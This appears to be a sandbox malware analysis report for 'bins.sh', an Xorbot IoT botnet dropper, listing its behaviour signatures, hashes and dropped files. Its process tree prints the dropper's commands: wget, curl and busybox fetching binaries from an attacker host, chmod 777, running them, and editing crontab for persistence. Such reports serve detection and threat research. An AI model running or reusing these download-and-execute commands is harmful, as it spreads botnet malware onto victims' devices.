Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/01/2025, 13:23

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250128-qmsv6aspdp
  • SHA256 acfadb1198d01b7b2afaada6bac985557fcc90e02ae3be4f8c721ac7ca5e914f
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1695) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 16 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:638
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:640
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/9UYnZmRulpRbWTjW10LRUK5BPi4x2Em8Bb
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:645
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/9UYnZmRulpRbWTjW10LRUK5BPi4x2Em8Bb
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:668
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/9UYnZmRulpRbWTjW10LRUK5BPi4x2Em8Bb
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:686
      • /bin/chmod
        chmod 777 9UYnZmRulpRbWTjW10LRUK5BPi4x2Em8Bb
        2⤵
        • File and Directory Permissions Modification
        PID:697
      • /tmp/9UYnZmRulpRbWTjW10LRUK5BPi4x2Em8Bb
        ./9UYnZmRulpRbWTjW10LRUK5BPi4x2Em8Bb
        2⤵
          PID:698
        • /bin/rm
          rm 9UYnZmRulpRbWTjW10LRUK5BPi4x2Em8Bb
          2⤵
            PID:701
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/sUzVaEh5RYZSiVOYd4VikZ0VEXvHCSORAG
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:702
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/sUzVaEh5RYZSiVOYd4VikZ0VEXvHCSORAG
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:752
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/sUzVaEh5RYZSiVOYd4VikZ0VEXvHCSORAG
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:754
          • /bin/chmod
            chmod 777 sUzVaEh5RYZSiVOYd4VikZ0VEXvHCSORAG
            2⤵
            • File and Directory Permissions Modification
            PID:755
          • /tmp/sUzVaEh5RYZSiVOYd4VikZ0VEXvHCSORAG
            ./sUzVaEh5RYZSiVOYd4VikZ0VEXvHCSORAG
            2⤵
              PID:756
            • /bin/rm
              rm sUzVaEh5RYZSiVOYd4VikZ0VEXvHCSORAG
              2⤵
                PID:758
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/LVCwSEvIx0guVhoGv8zV99YRwf6rgqzy2U
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:759
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/LVCwSEvIx0guVhoGv8zV99YRwf6rgqzy2U
                2⤵
                • Checks CPU configuration
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:760
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/LVCwSEvIx0guVhoGv8zV99YRwf6rgqzy2U
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:762
              • /bin/chmod
                chmod 777 LVCwSEvIx0guVhoGv8zV99YRwf6rgqzy2U
                2⤵
                • File and Directory Permissions Modification
                PID:763
              • /tmp/LVCwSEvIx0guVhoGv8zV99YRwf6rgqzy2U
                ./LVCwSEvIx0guVhoGv8zV99YRwf6rgqzy2U
                2⤵
                  PID:764
                • /bin/rm
                  rm LVCwSEvIx0guVhoGv8zV99YRwf6rgqzy2U
                  2⤵
                    PID:766
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/1ym9WK9Pxc9DgVAjQ0Zx73PexT9bySPb6L
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:767
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/1ym9WK9Pxc9DgVAjQ0Zx73PexT9bySPb6L
                    2⤵
                    • Checks CPU configuration
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:770
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/1ym9WK9Pxc9DgVAjQ0Zx73PexT9bySPb6L
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:772
                  • /bin/chmod
                    chmod 777 1ym9WK9Pxc9DgVAjQ0Zx73PexT9bySPb6L
                    2⤵
                    • File and Directory Permissions Modification
                    PID:773
                  • /tmp/1ym9WK9Pxc9DgVAjQ0Zx73PexT9bySPb6L
                    ./1ym9WK9Pxc9DgVAjQ0Zx73PexT9bySPb6L
                    2⤵
                      PID:774
                    • /bin/rm
                      rm 1ym9WK9Pxc9DgVAjQ0Zx73PexT9bySPb6L
                      2⤵
                        PID:776
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/KuW6sUqHCzSkJtR62fdtNMvFRlXkGrZO3o
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:777
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/KuW6sUqHCzSkJtR62fdtNMvFRlXkGrZO3o
                        2⤵
                        • Checks CPU configuration
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:778
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/KuW6sUqHCzSkJtR62fdtNMvFRlXkGrZO3o
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:782
                      • /bin/chmod
                        chmod 777 KuW6sUqHCzSkJtR62fdtNMvFRlXkGrZO3o
                        2⤵
                        • File and Directory Permissions Modification
                        PID:783
                      • /tmp/KuW6sUqHCzSkJtR62fdtNMvFRlXkGrZO3o
                        ./KuW6sUqHCzSkJtR62fdtNMvFRlXkGrZO3o
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        PID:784
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:786
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:787
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:788
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:789
                            • /bin/rm
                              rm KuW6sUqHCzSkJtR62fdtNMvFRlXkGrZO3o
                              2⤵
                                PID:794
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/OMyQRE8fQnp4r41CkqwYXPzYZ6mUka5JHE
                                2⤵
                                • System Network Configuration Discovery
                                PID:797

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  1ym9WK9Pxc9DgVAjQ0Zx73PexT9bySPb6L
                                  • Path /tmp/1ym9WK9Pxc9DgVAjQ0Zx73PexT9bySPb6L
                                  • Size 117KB
                                  • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  9UYnZmRulpRbWTjW10LRUK5BPi4x2Em8Bb
                                  • Path /tmp/9UYnZmRulpRbWTjW10LRUK5BPi4x2Em8Bb
                                  • Size 99KB
                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  KuW6sUqHCzSkJtR62fdtNMvFRlXkGrZO3o
                                  • Path /tmp/KuW6sUqHCzSkJtR62fdtNMvFRlXkGrZO3o
                                  • Size 177KB
                                  • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  LVCwSEvIx0guVhoGv8zV99YRwf6rgqzy2U
                                  • Path /tmp/LVCwSEvIx0guVhoGv8zV99YRwf6rgqzy2U
                                  • Size 107KB
                                  • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  sUzVaEh5RYZSiVOYd4VikZ0VEXvHCSORAG
                                  • Path /tmp/sUzVaEh5RYZSiVOYd4VikZ0VEXvHCSORAG
                                  • Size 151KB
                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  tmp.2PSwuX
                                  • Path /var/spool/cron/crontabs/tmp.2PSwuX
                                  • Size 210B
                                  • SHA256 5e960f44af822140605c09fe926de5fdb6f24279cca8568942245131a2a4f2ea
                                  • MD5 SHA1 SHA512
                                  Submit Download